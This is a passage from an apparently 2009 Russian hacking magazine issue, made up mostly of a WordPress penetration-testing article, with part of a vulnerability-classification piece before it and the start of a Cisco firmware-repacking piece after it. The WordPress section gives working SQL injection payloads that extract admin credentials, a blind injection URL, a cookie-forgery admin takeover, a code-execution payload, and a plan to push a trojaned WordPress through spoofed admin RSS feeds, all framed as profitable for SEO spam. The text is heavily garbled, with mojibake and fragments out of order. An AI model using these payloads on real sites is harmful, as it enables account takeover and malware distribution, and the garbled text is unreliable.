возможность получить шаблонный<br />

отчет, соответствующий документу, издаваемому<br />

аудитором. Я встречал такое в современных сканерах<br />

беспроводной безопасности, типа AirMagnet,<br />

а также дорогих коммерческих сканерах вроде ISS<br />

Security Scanner. Порой сканеры безопасности<br />

прибегают к использованию собственного разделения<br />

брешей по ID. Подобная практика применяется<br />

в Nessus, который таки сменил лицензию на<br />

полукоммерческую.<br />

ОТДЕЛЬНЫЕ КЛАССИФИКАЦИИ<br />

Подчас в Сети можно заметить абсолютно<br />

самопальные классификации, вроде Common<br />

Criteria Web Application Security Scoring<br />

(CCWAPSS) 1.1. Естественно, большого веса<br />

такая система не имеет, потому что составляться<br />

она должна реальными экспертами, которые<br />

понимают суть проблемы.<br />

CVE: ISS, BID, Secunia, SecurityTracker, OSVDB<br />

BID: CVE, Bugtraq, ISS, Secunia, SecurityTracker, OSVDB<br />

ISS: CVE, BID, Secunia, SecurityTracker, OSVDB<br />

Secunia: CVE, OSVDB<br />

SecurityTracker: CVE, OSVDB, Nessus<br />

Nessus: CVE, BID, OSVDB<br />

OSVDB: CVE, BID, Secunia, SecurityTracker, ISS, Nessus, Snort<br />

XÀÊÅÐ 04 /124/ 09<br />

Список «междоусобной» совместимости<br />

систем классификаций<br />

ТАК ЛИ ОНО ВСЕ ВАЖНО?<br />

Безусловно, к делу следует подходить без фанатизма.<br />

В первую очередь, подобные системы<br />

классификации нацелены на экспертное звено<br />

либо специалистов, которые заботятся о своевременном<br />

устранении брешей. Но, на мой<br />

взгляд, каждый уважающий себя хакер должен<br />

знать и понимать общепринятые классификации<br />

уязвимостей, разбираться в метриках и<br />

их векторах, чтобы четко и ясно представлять<br />

формулу оценки всех недавно взломанных им<br />

ресурсов. z<br />

051


взлом<br />

АНДРЕЙ «SKVZ» КОМАРОВ<br />

/ KOMAROV@ITDEFENCE.RU /<br />

WordPress:<br />

ТЕСТ<br />

НА ПРОНИКНОВЕНИЕ<br />

ПОЛНЫЙ АНАЛИЗ МАЛОИЗВЕСТНЫХ УЯЗВИМОСТЕЙ РАСКРУЧЕННОГО ДВИЖКА<br />

WorldPress— áåç ïðåóâåëè÷åíèÿ, ñàìûé ïîïóëÿðíûé äâèæîê âî âñåõ «èíòåðíåòàõ»<br />

(ïî çàïðîñó «Powered by WordPress» Ãóãë âûäàåò 74 400 000<br />

ðåçóëüòàòîâ!). Äâèæîê ïèñàëñÿ ñ ðàñ÷åòîì íà òî, ÷òîáû ëþáàÿ «äîìîõîçÿéêà»<br />

ñìîãëà èì âîñïîëüçîâàòüñÿ. Òàê è ïîëó÷èëîñü: çíàìåíèòàÿ «5-ìèíóòíàÿ<br />

óñòàíîâêà», ñðåäñòâà çàùèòû îò ñïàìà, âèçóàëüíûé ðåäàêòîð, seo-friendly<br />

ññûëêè è ìíîãèå äðóãèå ôè÷è ñäåëàëè ñâîå äåëî. Íî âñå ëè â ïîðÿäêå ó ýòîãî<br />

âåëèêîëåïèÿ ñ ýëåìåíòàðíîé áåçîïàñíîñòüþ?<br />

>> взлом<br />

В предыдущих номерах ][ я уже не раз поднимал тему безопасности<br />

WordPress. Вкратце вернемся к пройденному и систематизируем твои<br />

знания.<br />

Итак, последняя мало-мальски серьезная SQL-инъекция была найдена<br />

в 2.2.2 версии движка 28 июля уже далекого 2007 года неким Alexander<br />

Concha (не повезло человеку с фамилией). Не будем подробно на ней<br />

останавливаться, но если ты интересуешься историей, смотри ссылку на<br />

advisory в сносках.<br />

Идем далее. Во всех версиях движка, до 2.3.3 версии включительно,<br />

присутствует XSS-уязвимость в модуле фильтрации html kses (вспомнить<br />

о ней тебе поможет, например, январский номер журнала). Уязвимость<br />

можно было бы считать достаточно серьезной, если бы не одно<br />

но: админу надо нажать на ссылку с очень подозрительным адресом, что<br />

произойдет, только если админ — полный «чайник».<br />

Стоит упомянуть о нашумевшей в свое время уязвимости «Charset<br />

Remote SQL Injection» (версии


взлом<br />

WORDPRESS COMMENTS HTML SPAM VULNERABILITY<br />

Перед тобой первая неопубликованная уязвимость, которую я назвал<br />

«WordPress Comments Html Spam Vulnerability».<br />

Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая<br />

последней (на момент написания статьи) 2.7.1.<br />

Заглянем в исходники вордпресса. Открывай файл ./wp-includes/<br />

comment.php и находи следующий код:<br />

function check_comment($author, $email, $url, $comment,<br />

$user_ip, $user_agent, $comment_type) {<br />

...<br />

if ( 'trackback' == $comment_type || 'pingback' ==<br />

$comment_type ) { // check if domain is in blogroll<br />

$uri = parse_url($url);<br />

$domain = $uri['host'];<br />

$uri = parse_url( get_option('home') );<br />

$home_domain = $uri['host'];<br />

if ( $wpdb->get_var($wpdb->prepare("SELECT<br />

link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT<br />

1", '%'.$domain.'%')) || $domain == $home_domain )<br />

return true;<br />

else<br />

return false;<br />

}<br />

...<br />

}<br />

}<br />

$str = mb_strcut( $str, 0, $count );<br />

// remove part of an entity at the end<br />

$str = preg_replace( '/&[^;\s]{0,6}$/’, '', $str );<br />

return $str;<br />

Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики<br />

снова не учли несколько нюансов:<br />

1. strip_tags() успешно пропускает через себя теги вроде «» (то есть,<br />

содержащие пробелы);<br />

2. kses-фильтры успешно нормализуют html-теги, содержащие в себе<br />

эти самые пробелы.<br />

Исходя из этой информации, можно придумать конечный эксплойт:<br />

<br />

<br />

Òàéòë: <br />

URL:<br />

Comment:<br />

Êóïèòü ñëîíà< / a >< / b ><br />

В итоге, на нужном блоге мы получим зааппрувленный комментарий с<br />

выделенной жирной ссылкой «Купить слона». Единственное замечание:<br />

этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде<br />

ссылки добавляется rel=«nofollow», благодаря чему всемогущий Гугл ее<br />

не засчитывает.<br />

ПОДМЕНА RSS-ФИДОВ В DASHBOARD<br />

В конце прошлого года я нашел еще один занимательный баг в<br />

WordPress, который заключался в подмене RSS-лент на главной странице<br />

админки блога. Итак, в Dashboard содержатся следующие ленты новостей:<br />

новости плагинов, incoming links, новости devblog c wordpress.<br />

org и новости «Планеты WordPress». Начиная с версии 2.5, к каждому<br />

фиду прикреплена кнопочка «Edit», что позволяет администратору блога<br />

редактировать эти пресловутые фиды, заменяя их на любые свои. Но<br />

разработчики снова проморгали тот факт, что в функции редактирования<br />

фидов не существует никакой проверки прав (в который раз поражаюсь<br />

невнимательности девелоперов). Теперь смотри. Скопируй ленту<br />

новостей с девблога официального сайта вордпресса, затем вставь в<br />

нее в качестве первого поста объявление о security-патче (или просто<br />

новой версии) блога. В посте (естественно, в ссылке на скачку) укажи<br />

свой протрояненный дистрибутив вордпресса. Затем положи подготовленный<br />

фид на какой-нибудь сервер и используй этот html-код для<br />

подмены рсс-ленты девблога на свою:<br />

<br />

<br />


взлом<br />

Редактирование кукисов в Opera<br />

Генерация таблиц для admin takeover от Электа<br />

links<br />

• wordpress.org/<br />

download/releasearchive/<br />

— архив<br />

релизов WordPress.<br />

• milw0rm.com/<br />

exploits/4721 —<br />

Charset Remote<br />

SQL Injection<br />

Vulnerability.<br />

• buayacorp.com/<br />

files/wordpress/<br />

wordpress-sqlinjection-advisory.<br />

html — Remote<br />

SQL Injection in<br />

WordPress and<br />

WordPress MU.<br />

• securityfocus.<br />

com/bid/27669<br />

— WordPress<br />

'xmlrpc.php' Post<br />

Edit Unauthorized<br />

Access Vulnerability.<br />

• securityfocus.<br />

com/bid/28845<br />

— WordPress<br />

'cat' Parameter<br />

Directory Traversal<br />

Vulnerability.<br />

Эксплойт для баги с create_function<br />

value="Çàãîëîâîê ðññ" /><br />

<br />

<br />

query("UPDATE $wpdb->posts<br />

SET pinged = '$new' WHERE ID = $post_id");<br />

}<br />

Небольшие раскопки дают понять, что фильтра «add_ping»<br />

не существует в коде движка.<br />

Получается, что данные из первого запроса подставляются<br />

во второй запрос без какой-либо фильтрации! А теперь<br />

о способе эксплуатации данной уязвимости. Запасись<br />

терпением :). Чтобы использовать баг, тебе необходимо две<br />

инсталляции вордпресса:<br />

1. Все равно какой версии. Создай новый пост с любым тайтлом<br />

и содержимым:<br />

pingme<br />

Запомни адрес созданного поста (например, http://lamer/<br />

wp1/?p=2).<br />

2.Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием<br />

и любым тайтлом, а в поле «Send trackbacks to:» пиши:<br />

test',post_title=(select/**/concat(user_<br />

login,':',user_pass)/**/from/**/wp_users/**/<br />

where/**/id=1),post_content_filtered =’blah<br />

054<br />

function add_ping($post_id, $uri) {<br />

// Add a URL to those already pung<br />

global $wpdb;<br />

$pung = $wpdb->get_var("SELECT pinged FROM<br />

Сохраняй пост.<br />

Снова заходи в его редактирование, но теперь редактируй<br />

само содержимое и вставля й туда ссылку в html-формате на<br />

пост из первого блога:<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

Parse_str sql-инъекция<br />

Эксплойты WordPress<br />

Здесь мы наблюдаем ту же ситуацию: переменная $to_ping подставляется<br />

в следующий запрос без какой-либо фильтрации.<br />

Использовать эту SQL-инъекцию очень просто.<br />

1. Создавай новый пост и в «Send trackbacks to:» вставляй следующее:<br />

pingme<br />

test','')),post_title=(select/**/concat(user_<br />

login,':',user_pass)/**/from/**/wp_users/**/where/**/<br />

id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah<br />

Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся<br />

НЕ МОГУ НЕ ПОДЕЛИТЬСЯ С<br />

ТОБОЙ ЕЩЕ ОДНОЙ ЗАБАВ-<br />

НОЙ SQL-ИНЪЕКЦИЕЙ, КОТО-<br />

РАЯ ПРИСУТСТВУЕТ ВО ВСЕХ<br />

ВЕРСИЯХ ДВИЖКА, НАЧИНАЯ<br />

С 2.3.X И ЗАКАНЧИВАЯ ПОС-<br />

ЛЕДНЕЙ НА ДАННЫЙ МОМЕНТ<br />

2.7.1.<br />

результатами выполнения скули в виде хеша и пароля админа.<br />

ЭТИ ЗАБАВНЫЕ ПИНГИ. ЧАСТЬ 2<br />

Вторая SQL-инъекция присутствует в механизме трэкбэков и выглядит уже не<br />

так ужасно. Открывай файл ./wp-includes/comment.php и находи в нем код:<br />

function do_trackbacks($post_id) {<br />

...<br />

$to_ping = get_to_ping($post_id);<br />

...<br />

if ( $to_ping ) {<br />

foreach ( (array) $to_ping as $tb_ping ) {<br />

$tb_ping = trim($tb_ping);<br />

if ( !in_array($tb_ping, $pinged) ) {<br />

trackback($tb_ping, $post_title,<br />

$excerpt, $post_id); $pinged[] = $tb_ping;<br />

} else {<br />

$wpdb->query(«UPDATE $wpdb->posts SET to_<br />

ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID =<br />

'$post_id'");<br />

}<br />

}<br />

}<br />

}<br />

XÀÊÅÐ 04 /124/ 09<br />

2. Сохраняй пост, заходи в редактирование вновь созданного поста и<br />

опять вставляй туда тот же самый код;<br />

3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа.<br />

КОВАРНЫЙ PARSE_STR<br />

Не могу не поделиться с тобой еще одной забавной SQL-инъекцией,<br />

которая присутствует во всех версиях движка, начиная с 2.3.x и<br />

заканчивая последней на данный момент 2.7.1. Для использования<br />

инъекции необходимы права «manage_links». Для теста снова возьмем<br />

WordPress 2.3.3. Итак, открывай ./wp-admin/link-manager.php.<br />

В этом файле присутствует следующий код:<br />

get_bookmarks( "category=$cat_id&hide_invisible=0&orde<br />

rby=$sqlorderby&hide_empty=0" );<br />

Начиная от этого кода, попробуем провести небольшой реверсинг:<br />

./wp-includes/bookmark.php<br />

function get_bookmarks($args = '') {<br />

...<br />

$r = wp_parse_args( $args, $defaults );<br />

extract( $r, EXTR_SKIP );<br />

...<br />

if ( ! empty($category_name) ) {<br />

if ( $category = get_term_by('name',<br />

$category_name, 'link_category') )<br />

$category = $category->term_id;<br />

}<br />

...<br />

./wp-includes/formatting.php<br />

function wp_parse_args( $args, $defaults = '' ) {<br />

if ( is_object($args) )<br />

$r = get_object_vars($args);<br />

else if ( is_array( $args ) )<br />

$r =& $args;<br />

else<br />

wp_parse_str( $args, $r );<br />

}<br />

if ( is_array( $defaults ) )<br />

return array_merge( $defaults, $r );<br />

else<br />

return $r;<br />

055


взлом<br />

Pingback sql-инъекция<br />

Magic SEO Toolz — мой сборник эксплойтов для WordPress<br />

WORDPRESS 2.5 COOKIE INTEGRITY<br />

PROTECTION VULNERABILITY<br />

Еще одна интереснейшая логическая уязвимость, которой уделили<br />

недостаточно внимания, — это «Cookie Integrity Protection<br />

Vulnerability». Ей подвержен WordPress 2.5. В официальном advisory<br />

насчет реальной эксплуатации баги сказано мало и не совсем понятно,<br />

— так что многие до сих пор у меня интересуются, как ее использовать.<br />

Суть баги достаточно проста: начиная с версии 2.5, в WordPress<br />

появилась новая система авторизации и хранения паролей, которую<br />

до конца еще не успели отладить. Для авторизации на блоге используется<br />

следующая схема формирования кукисов:<br />

function wp_parse_str( $string, &$array ) {<br />

}<br />

parse_str( $string, $array );<br />

if ( get_magic_quotes_gpc() )<br />

$array = stripslashes_deep( $array );<br />

$array = apply_filters( 'wp_parse_str', $array );<br />

./wp-includes/taxonomy.php<br />

function get_term_by($field, $value, $taxonomy, $output<br />

= OBJECT, $filter = 'raw') {<br />

...<br />

} else if ( 'name' == $field ) {<br />

// Assume already escaped<br />

$field = 't.name';<br />

...<br />

$term = $wpdb->get_row("SELECT t.*, tt.* FROM<br />

$wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy<br />

AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy =<br />

'$taxonomy' AND $field = '$value' LIMIT 1");<br />

На этот раз разработчики WordPress не учли, что:<br />

1. Функция parse_str проводит свои параметры через urldecode, а значит,<br />

какая-либо фильтрация идет лесом (плюс wp_parse_str дополнительно<br />

проводит наши данные через stripslashes);<br />

2. В get_bookmarks() мы сможем передать дополнительные параметры<br />

для parse_str с помощью амперсанда (%26 в urlencode).<br />

Отсюда, как логичный вывод, следует blind sql-инъекция:<br />

http://lamer.com/wp233/wp-admin/link-manager.php?cat_<br />

id=all%26category_name=0%2527+union+select+1,2,3,4,5,<br />

6,7,8,9,10+from+wp_users+where+1=1/*&order_by=order_<br />

url&action=Update+%C2%BB<br />

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME .<br />

"|" . MAC<br />

Расшифровка этих непонятных символов элементарна:<br />

COOKIEHASH — md5-хеш URL’а сайта, где установлен движок;<br />

USERNAME — логин авторизуемого юзера;<br />

EXPIRY_TIME — время истечения жизни кукисов;<br />

MAC — злостное сочетание из HMAC-кода, полученного на основе имени<br />

юзера и времени жизни кукисов, а также секретных ключей из конфига и<br />

БД. Если ты еще не понял, то скажу тебе, что проблема заключается как<br />

раз в способе конкатенации этих значений.<br />

А теперь внимание, — способ эксплуатации уязвимости:<br />

1. Регистрируй юзера с именем «admin99»;<br />

2. Авторизуйся на блоге;<br />

3. Отредактируй свои кукисы (в Опере: Инструменты Дополнительно<br />

Редактирование cookies) следующим образом:<br />

Áûëî:<br />

wordpress_[ÕÅØ] = admin99|âðåìÿ|MAC<br />

Ñòàëî:<br />

wordpress_[ÕÅØ] = admin|99âðåìÿ|MAC<br />

В итоге, с новыми кукисами ты благополучно авторизуешься с правами<br />

админа.<br />

WORDPRESS 2.7.X ADMIN REMOTE CODE EXECUTION EXPLOIT<br />

Выполнение произвольного кода в админке через create_function (баг<br />

нашел некий Ryat[puretot]) — еще одна интересная уязвимость, почему-то<br />

оставшаяся не только без внимания хакеров, но и без внимания<br />

разработчиков!<br />

Эксплойт к ней появился еще в версии 2.7, но в последнем вордпрессе<br />

(сейчас — 2.7.1) дыра по-прежнему не закрыта.<br />

Проведем небольшой аудит кода ./wp-admin/post.php:<br />

Условия здесь такие:<br />

а) 1=1 — ничего не отображается;<br />

б) 1=2 — отображается список ссылок блога.<br />

056<br />

if ( current_user_can('edit_post', $post_ID) ) {<br />

if ( $last = wp_check_post_lock( $post->ID ) ) {<br />

$last_user = get_userdata( $last );<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

Редактирование RSS-фида в WordPress 2.5-2.6.5<br />

Уязвимости WordPress<br />

Работа одного из приватных эксплойтов для 2.x ветки<br />

$last_user_name = $last_user ? $last_user-<br />

>display_name : __('Somebody');<br />

$message = sprintf( __( 'Warning: %s is currently<br />

editing this post' ), wp_specialchars( $last_user_name ) );<br />

$message = str_replace( "'", "\'", "$message" );<br />

add_action('admin_notices', create_function(<br />

'', "echo '$message';" ) );<br />

}<br />

}<br />

else { wp_set_post_lock( $post->ID );<br />

wp_enqueue_script('autosave');<br />

}<br />

Из анализа этого кода видно, что юзер с правами «edit_post» может<br />

провести инъекцию произвольного кода следующим образом:<br />

1. Сменить значение «display_name» на что-то вроде \’;phpinfo();\’. В<br />

результате переменная $message будет выглядеть так:<br />

Warning: \';phpinfo();\' is currently editing this post<br />

2. Когда $message пройдет stripslashes и попадет в create_function(),<br />

создастся функция с таким вот интересным телом:<br />

{<br />

echo '';phpinfo();'';<br />

}<br />

Как видишь, налицо банальный code exec. Ссылку на эксплойт ищи в<br />

сносках. Добавлю, что эксплойт предназначен для юзера с правами<br />

admin, но, немного подумав, ты сможешь исправить его для работы с<br />

правами author/editor.<br />

ИТОГИ<br />

Жесткие рамки статьи не позволяют рассказать обо всех найденных<br />

мной и другими людьми уязвимостях WordPress, но я этого и не хочу<br />

:). Описанные тут уязвимости — лишь верхушка айсберга. Существуют<br />

гораздо более серьезные и полезные баги во всех, даже самых<br />

последних, версиях движка. Эти баги не только стоят множество зеленых<br />

президентов, но и позволяют безбедно жить на поприще SEO.<br />

Поэтому могу лишь пожелать разработчикам вордпресса оставаться<br />

такими, какие они есть: невнимательными и забавными в своей<br />

простоте.z<br />

XÀÊÅÐ 04 /124/ 09<br />

057


взлом<br />

ЕВГЕНИЙ «SHADOS» ХАБАРОВ<br />

/ SHADOS@MAIL.RU/<br />

ИМПЛАНТАЦИЯ<br />

CISCO<br />

МОДИФИЦИРОВАНИЕ ПРОШИВКИ МАРШРУТИЗАТОРА<br />

Ïðèâåòñòâóþ, äîðîãîé äðóã! Ñåãîäíÿ ìû áóäåì äàðèòü âòîðóþ ìîëîäîñòü<br />

(à ìîæåò äàæå è æèçíü) ñòàðûì ìàðøðóòèçàòîðàì Cisco, ïðàêòè÷åñêè íå íàðóøàÿ<br />

ëèöåíçèîííîãî ñîãëàøåíèÿ. Ïóñòü ýòîò õàêåðñêèé ìåòîä äîñòàòî÷íî<br />

ïðîñò, íî îò ýòîãî îí íå ñòàíîâèòñÿ ìåíåå èíòåðåñíûì. Èìÿ åìó — «áèíàðíûé<br />

ïàò÷èíã».<br />

>> взлом<br />

Сразу к делу. Исходные данные следующие:<br />

старенькая кошка Cisco 2611 с двумя<br />

Ethernet-портами, 64 Мб RAM и 16 Мб на<br />

Flash. Это максимально возможные параметры,<br />

поддерживаемые платформой (читай<br />

— увеличить объем DRAM памяти и flash<br />

не получится из-за отсутствия в природе<br />

комплектующих больших объемов). Исходя<br />

из данных Cisco IOS Feature Navigator (tools.<br />

cisco.com/ITDIT/CFN/jsp/index.jsp), последней<br />

версией IOS для этого маршрутизатора<br />

является 12.3(26) — вполне естественно для<br />

столь старого продукта (End-of-Sale — апрель<br />

2003, End-of-Life — апрель 2008). Хочется<br />

получить только все самое последнее и новое,<br />

а все самое новое и вкусное доступно только в<br />

версии 12.4 (точнее 12.4T). Посыл номер два,<br />

или дополнительные исходные данные таковы:<br />

если внимательно следить за модельным<br />

рядом маршрутизаторов Cisco или просто<br />

ознакомиться с информацией о продуктах на<br />

официальном сайте, то можно обнаружить,<br />

что серия 2600 включает в себя, например,<br />

маршрутизаторы 2611XM. Отличается эта<br />

серия от своего предшественника незначительно:<br />

• Ìàêñèìàëüíûé îáúåì flash-ïàìÿòè<br />

óâåëè÷åí äî 48 MB (â 2611 — 16 MB)<br />

• Ìàêñèìàëüíûé îáúåì SDRAM-ïàìÿòè<br />

óâåëè÷åí äî 128 MB (â 2611 — 64 MB)<br />

• Èíòåãðèðîâàííûå 10/100 Fast<br />

Ethernet ïîðòû (â 2611 — 10 Ìáèò/c<br />

Ethernet)<br />

Для такой кошки Cisco IOS Feature Navigator<br />

сообщит, что последний IOS имеет версию<br />

12.4(23). Системные требования для IOS 12.4(21)<br />

с набором Enterprise Base или Advanced<br />

Security составляют 128 MB DRAM и 32 MB<br />

flash. Конечно, у нас нет 128 MB памяти, но<br />

попытка не пытка, да и пропускная способность<br />

портов у нас невысокая. Это позволяет сделать<br />

предположение, что ОС можно запустить на<br />

моем устройстве. Осталось превратить теорию<br />

в практику.<br />

EXTENDED, ИЛИ ЧТО ХОТИМ ПОЛУЧИТЬ<br />

Идея проста — загнать бинарный образ<br />

операционной системы Cisco IOS 12.4(21)<br />

с набором фьючерсов Enterprise Base на<br />

старенький маршрутизатор 2611 с исходными<br />

данными, представленными выше.<br />

В дальнейшем — использовать как тестовый<br />

стенд, ибо 10-мегабитные интерфейсы ограничивают<br />

его применение в дикой природе,<br />

или, как говорится, in production. С тем же<br />

успехом устройство может надежно служить<br />

файрволом корпоративной сети взамен<br />

какого-нибудь PIX (если, конечно, достаточно<br />

пропускной способности в 10 Мбит), но тогда<br />

встает вопрос — а есть ли такой функционал,<br />

который может потребоваться в IOS 12.4, но<br />

которого нет в 12.3? За подсказкой вновь<br />

отправляю к Cisco IOS Feature Navigator (tools.<br />

cisco.com/ITDIT/CFN/Dispatch). Утилита<br />

сравнения образов тебе в помощь, но ответ,<br />

скорее всего, — «нет». Отсюда вывод — не<br />

стоит меня корить в малой практичности, так<br />

как изначально статья в большей степени<br />

исследовательская (just for fun).<br />

У меня не возникло бы потребности писать<br />

статью, если бы не две небольших проблемы. О<br />

первой я уже упомянул — это объем DRAM памяти.<br />

К сожалению, я не повелитель паяльника<br />

и вольтметра, так что здесь поделать ничего не<br />

могу. Стоит только надеяться, что ОС не уйдет<br />

в core в самый ответственный момент из-за<br />

недостатка памяти. Вторая проблема, которая<br />

застигла меня врасплох — это размер самого<br />

образа IOS 12.4 и тот факт, что он не помещается<br />

на флеш объемом 16 МB. И неудивительно:<br />

файл образа — c2600-entbasek9-mz.124-9.<br />

T1.bin — который я взял для эксперимента,<br />

занимает 16,4 MB, то есть 17 257 364 байт.<br />

Даже если стереть флеш с опцией no-squeezereserve-space<br />

(командой erase /no-squeezereserve-space<br />

flash:), это нам не поможет.<br />

Хотя, в свое время, для образа c2600-ik9o3s3-<br />

mz.123-13.bin было решением проблемы (этот<br />

образ чуть меньше размера самой флеш, и для<br />

его загрузки требуется отформатировать ее с<br />

опцией, запрещающей резервировать свободное<br />

место).<br />

ЧТО ДЕЛАТЬ? БЕЖАТЬ!<br />

Решения здесь может быть два — либо грузиться<br />

с tftp, что не всегда удобно, либо же взломать<br />

образ так, чтобы размер стал меньше. Грубо<br />

говоря, перепаковать его (собственно, это и<br />

было отчасти сделано).<br />

Посылом номер три стал эмулятор Dynamips.<br />

Причем он тут? Именно он натолкнул меня на<br />

058<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

Advanced Enterprise Services<br />

Advanced IP + Enterprise + Cisco IOS Firewall<br />

Advanced IP Services<br />

IS-IS, MPLS, L2/L3 VPNs, IPv6***,<br />

Mobile Support, IP SLAs, etc.<br />

Enterprice Services<br />

IPv6***, IS-IS, IP SLAs, IBM Services,<br />

L3 Routed Protocols, etc.<br />

IP Services<br />

EIGRP, OSPF, BGP, GLBP, QoS, High Availability, NAT, nBAR,<br />

VRF-lite, Multicast, Virtual Switching System, etc.<br />

>>Типы IOS<br />

и их функционал<br />

** EIGRP-STUB in IP Base will be available on the Cisco Catalyst 4500 Series (Sup4)<br />

and the Cisco Catalyst 6500 Series.<br />

*** Starting with 12.2(33)SXI on the 6500 series, Cisco is offering packaging<br />

parity for IPv6 feature support for a technology will be packeged in the same<br />

feature set as IPv4. This parity will be expended to other platforms in the future.<br />

IP Base<br />

RIP, HSRP/VRRP, StackWise, GRE, EIGRP STUB**, WCCP, etc.<br />

LAN Base<br />

ACL, QoS, Enhanced 802.1x, AutoQoS, AutoSecure, etc.<br />

r - The image runs from ROM<br />

l - The image is relocatable<br />

z - The image is zip compressed<br />

x -The image is mzip compressed<br />

Layer 2 Base<br />

Basic Ethernet L2. 802, tx. 802. ts. 802.w.<br />

Ether Chanel, 802. 1d, Port Security. SmartPorts, SSH, etc.<br />

В нашем случае образ имеет тип mz — работает в памяти и запакован как<br />

раз в zip-архив. Убедиться в этом просто — большинство архиваторов<br />

(WinZIP, WinRAR, 7zip) с легкостью открывают его и распаковывают.<br />

мысль о перепаковке образа. Если взглянуть на раздел «How to use?» на<br />

официальном сайте проекта (www.ipflow.utc.fr/index.php/Cisco_7200_<br />

Simulator), то можно обнаружить, что эмулятор использует распакованные<br />

образы для ускорения загрузки:<br />

…<br />

<br />

To boot quickly, the preferred method is to decompress<br />

the IOS image with the «unzip» utility. It avoids to run<br />

the self-decompressing process in the emulator.<br />

chris@portchris2:~/dynamips-0.2.5$ unzip -p c7200-<br />

advipservicesk9-mz.124-9.T.bin > image.bin<br />

warning [c7200-advipservicesk9-mz.124-9.T.bin]: 27904<br />

extra bytes at beginning or within zipfile<br />

(attempting to process anyway)<br />

chris@portchris2:~/dynamips-0.2.5$ file image.bin<br />

image.bin: ELF 32-bit MSB executable, cisco 7200,<br />

version 1 (SYSV), statically linked, stripped<br />

You can ignore the warning, unzip has just skipped the<br />

self-decompressing code at the beginning of the image.<br />

Now, you can boot the imagå<br />

<br />

…<br />

УПАКОВКА<br />

Не мудрствуя лукаво, пытаемся перепаковать архив заново с максимально<br />

возможной степенью сжатия. Сразу же отмечаем, что используемый<br />

метод — deflate и изменить его не получится. Я использовал четыре<br />

архиватора, чтобы сравнить их и получил такой результат:<br />

7-zip 4.65 ñî ñëåäóþùèìè ïàðàìåòðàìè:<br />

Ôîðìàò àðõèâà — zip<br />

Óðîâåíü ñæàòèÿ — Óëüòðà<br />

Ìåòîä ñæàòèÿ — Deflate<br />

Ðàçìåð ñëîâàðÿ — 32ÊB<br />

Ðàçìåð ñëîâà — 258<br />

В результате был получен архив: 15,7 MB (16 489 764 bytes). WinZIP<br />

11.2 при использовании улучшенного метода Deflate выдал файл<br />

размером 16,0 MB (16 803 634 bytes). WinRAR 3.80, формат архива —<br />

zip с наилучшими параметрами сжатия: 16,3 MB (17131 353 bytes).<br />

PKZIP 9.00 от создателей формата совсем подвел, и по методу Deflate<br />

с максимальным сжатием произвел файл размером 16,3 MB (17 094<br />

474 bytes).<br />

Итогом моего небольшого сравнительного тестирования стал выбор для<br />

экспериментов архива, как нетрудно догадаться, созданного 7zip.<br />

Сигнатура ELF в HEX-редакторе<br />

Если есть запакованный образ, то можно попытаться использовать<br />

более оптимальные параметры сжатия, которые позволят поместить<br />

образ на флеш. Обращаю внимание на важную деталь — так как мы<br />

не собираемся переписывать самораспаковывающийся код, то есть<br />

заниматься дизассемблированием (да и ассемблер под 32-битные<br />

процессоры PowerPC я не знаю), то сам алгоритм сжатия менять мы не<br />

сможем. Самораспаковывающаяся часть просто не сможет распаковать<br />

архивы, сжатые другими методами. По поводу используемого в образе<br />

алгоритма сжатия — можно взглянуть вот сюда: Cisco IOS Configuration<br />

Fundamentals Configuration Guide, Release 12.4 — Loading and Managing<br />

System Images, пункт Image Naming Conventions. Поле «тип» в имени<br />

образа как раз отвечает за его характеристики:<br />

f - The image runs from flash memory<br />

m - The image runs from RAM<br />

XÀÊÅÐ 04 /124/ 09<br />

059


взлом<br />

Контрольная сумма<br />

Сообщение о нехватке памяти<br />

ТЕОРИЯ (ИНТЕГРАЦИИ НОВОГО АРХИВА)<br />

Далее требуется сей архив поместить вместо оригинального образа.<br />

Чтобы проделать это, нам понадобится шестнадцатеричный редактор<br />

типа WinHex, HT Editor или hview. Я предпочитаю WinHex, но понадобится<br />

еще и HT, чуть позже объясню почему.<br />

Как ты можешь видеть на скриншоте, бинарный образ IOS, скорее всего,<br />

есть не что иное, как исполняемый файл в формате ELF (Executable<br />

and Linkable Formate). ELF-формат является основным исполняемым<br />

файлом в *nix-like системах, поэтому неудивительно встретить его здесь.<br />

По ELF-формату существует четкая спецификация, последняя версия<br />

которой 1.2, однако для наших целей будет достаточно, например, заголовочного<br />

файла из состава libc — elf.h. Обычный бинарный ELF-файл<br />

представляет собой структуру вида:<br />

ELF Header<br />

Program Header Table (optional)<br />

Section 1<br />

Section 2<br />

…<br />

Section n<br />

Section Header Table<br />

Elf32_Half<br />

Elf32_Half<br />

Elf32_Half<br />

Elf32_Half<br />

Elf32_Half<br />

} Elf32_Ehdr;<br />

e_phentsize;<br />

e_phnum;<br />

e_shentsize;<br />

e_shnum;<br />

e_shstrndx;<br />

В нашем случае поле e_machine имеет значение 0x002b или 43, что<br />

соответствует процессору SPARC v9:<br />

#define EM_SPARCV9 43 /* SPARC v9 64-bit */<br />

Но нам известно, что маршрутизатор 2611 использует процессор<br />

Motorolla MPC860, значит, поле должно иметь значение 0x0014, — что<br />

соответствует:<br />

#define EM_PPC 20 /* PowerPC */<br />

Скорее всего, это простейшая защита от дизассемблирования образа.<br />

Нам это не сильно помешает. С помощью F6 открываем режим просмотра<br />

elf/header. Из него становятся известны следующие подробности:<br />

- elf header size 0x34<br />

- program header entry size 0x20<br />

- program header count 1<br />

- section header entry size 0x28<br />

- section header count 6<br />

Не углубляясь в описание (и дабы не повторяться), отправляю тебя к<br />

спецификации.<br />

Так как весь процесс исследования я проводил в MS Windows, то пришлось<br />

искать замену утилите readelf из состава binutils. Подходящим<br />

вариантом оказался шестнадцатеричный редактор HT (hte.sf.net), который<br />

умеет читать и модифицировать структуры данных исполняемых<br />

